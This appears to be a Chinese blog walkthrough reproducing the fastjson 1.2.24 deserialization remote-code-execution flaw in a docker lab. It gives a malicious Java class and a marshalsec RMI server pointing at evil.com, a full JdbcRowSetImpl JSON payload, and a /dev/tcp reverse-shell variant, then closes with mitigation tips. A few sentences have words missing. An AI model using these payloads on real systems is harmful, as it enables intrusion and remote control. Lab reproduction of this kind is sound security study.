赞
踩
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于它使用简单,高效与灵活,吸引了很多开发者的使用。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。 通过查找代码中相关的方法,即可构造出一些恶意利用链。攻击者可利用恶意json数据中的@type字段来触发漏洞,通过fastjson的反序列化功能执行恶意代码。
漏洞的根源在于fastjson引入了AutoType功能,导致在反序列化过程中读取@type字段并调用相应类的setter方法。
受影响版本范围: fastjson<=1.2.24
docker-compose up -d
此次复现为了方便,靶机和攻击机都是kali Linux(192.168.159.128)
docker ps查看开放端口
访问http://ip:端口,环境搭建成功
攻击过程:
1. 构造恶意序列化数据:攻击者需要构造一个特定的恶意序列化数据,通常是通过序列化一个恶意对象来实现。攻击者可以利用fastjson的特性,如自定义序列化器、反序列化回调等,来执行恶意代码。
2. 传递恶意序列化数据:攻击者需要将构造好的恶意序列化数据传递给目标系统。这可以通过网络传输、文件上传、参数传递等方式实现。
3. 目标系统反序列化:目标系统在接收到恶意序列化数据后,会使用fastjson库进行反序列化操作。由于fastjson存在漏洞,恶意序列化数据可能会导致目标系统执行恶意代码。
4. 恶意代码执行:如果攻击者构造的恶意序列化数据成功触发了fastjson的漏洞,目标系统可能会执行恶意代码。这可能导致系统被入侵、数据泄露、远程命令执行等安全风险。
RMI(Remote Method Invocation)服务器是一种基于Java的远程调用机制,用于实现分布式系统中的远程方法调用。它允许在不同的Java虚拟机(JVM)之间进行远程通信和方法调用。 RMI服务器是一个提供远程服务的Java应用程序,它通过注册远程对象并监听指定的端口,等待客户端的请求。当客户端发起远程方法调用请求时,RMI服务器接收到请求后,会执行相应的方法,并将结果返回给客户端。 RMI服务器的主要作用是提供远程服务,使得客户端能够通过网络调用远程对象的方法,而不需要了解底层网络通信的细节。RMI服务器可以在分布式系统中实现各种功能,例如远程计算、远程数据访问、远程对象管理等。 在RMI服务器中,需要定义远程接口(Remote Interface)来描述可以被远程调用的方法。RMI服务器会实现该接口,并将其注册到RMI注册表中,以便客户端能够获取和调用远程对象的方法。 总结来说,RMI服务器是一个提供远程服务的Java应用程序,用于接收和处理客户端的远程方法调用请求,实现分布式系统中的远程通信和方法调用。
复现过程
1、检验漏洞是否存在
向这个地址POST一个JSON对象,即可更新服务端的信息
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
burp抓包,然后更改请求方式,出现fastjson的版本信息
至此,基本可以确定漏洞存在
2、漏洞验证
kali只有java命令,没有javac命令,所以需要重新安装java环境
因为目标环境是Java 8u102,没有的限制,我们可以使用的利用链,借助JNDI注入来执行命令。
com.sun.jndi.rmi.object.trustURLCodebasecom.sun.rowset.JdbcRowSetImpl
构造命令执行代码,该代码的意思是在靶机的/tmp/success上创建文件TouchFile
- // javac TouchFile.java
-
- import java.lang.Runtime;
-
- import java.lang.Process;
-
-
-
- public class TouchFile {
-
- static {
-
- try {
-
- Runtime rt = Runtime.getRuntime();
-
- String[] commands = {"touch", "/tmp/success"};
-
- Process pc = rt.exec(commands);
-
- pc.waitFor();
-
- } catch (Exception e) {
-
- // do nothing
-
- }
-
- }
-
- }
javac TouchFile.java 编译TouchFile,得到一个.class文件
利用python开启http服务,传输恶意文件
python -m http.server 5555
靶机访问http://靶机ip:5555即可看到恶意文件
借助marshalsec项目(安装过程是跟着网上教程来的),启动一个RMI服务器,监听9999端口,并制定加载远程类:TouchFile.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
现在用攻击机来请求靶机地址,burp抓包,然后向靶场主机发送我们构造的payload,带上RMI地址
构造的payload如下:
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://evil.com:9999/TouchFile", "autoCommit":true } }
可见,命令已成功执行
也可查看http访问日志
检测是否在tmp目录上成功创建success文件。
- docker ps
-
- docker exec -it your-CONTAINER bash
tmp目录下有success,至此,漏洞复现成功
注:该漏洞可以反弹shell,方法与命令执行一样,构造的payload也与命令执行的一样,这里就不展示了。
修改恶意文件,String[ ] commands的内容要修改为反弹shell的命令
- // javac TouchFile.java
- import java.lang.Runtime;
- import java.lang.Process;
-
- public class TouchFile {
- static {
- try {
- Runtime rt = Runtime.getRuntime();
- String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击者ip端口(反弹shell到攻击机的端口 0>&1"};
- Process pc = rt.exec(commands);
- pc.waitFor();
- } catch (Exception e) {
- // do nothing
- }
- }
1、及时更新fastjson库到最新版本,以修复已知的漏洞
2、对于不信任的数据,避免直接使用fastjson进行反序列化操作
3、使用白名单机制,限制反序列化的类和属性,以减少漏洞利用的风险
4、在代码中增加输入验证和过滤,以防止恶意序列化数据的传递
5、配置安全策略,限制fastjson的反序列化能力,以减少漏洞的影响范围
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。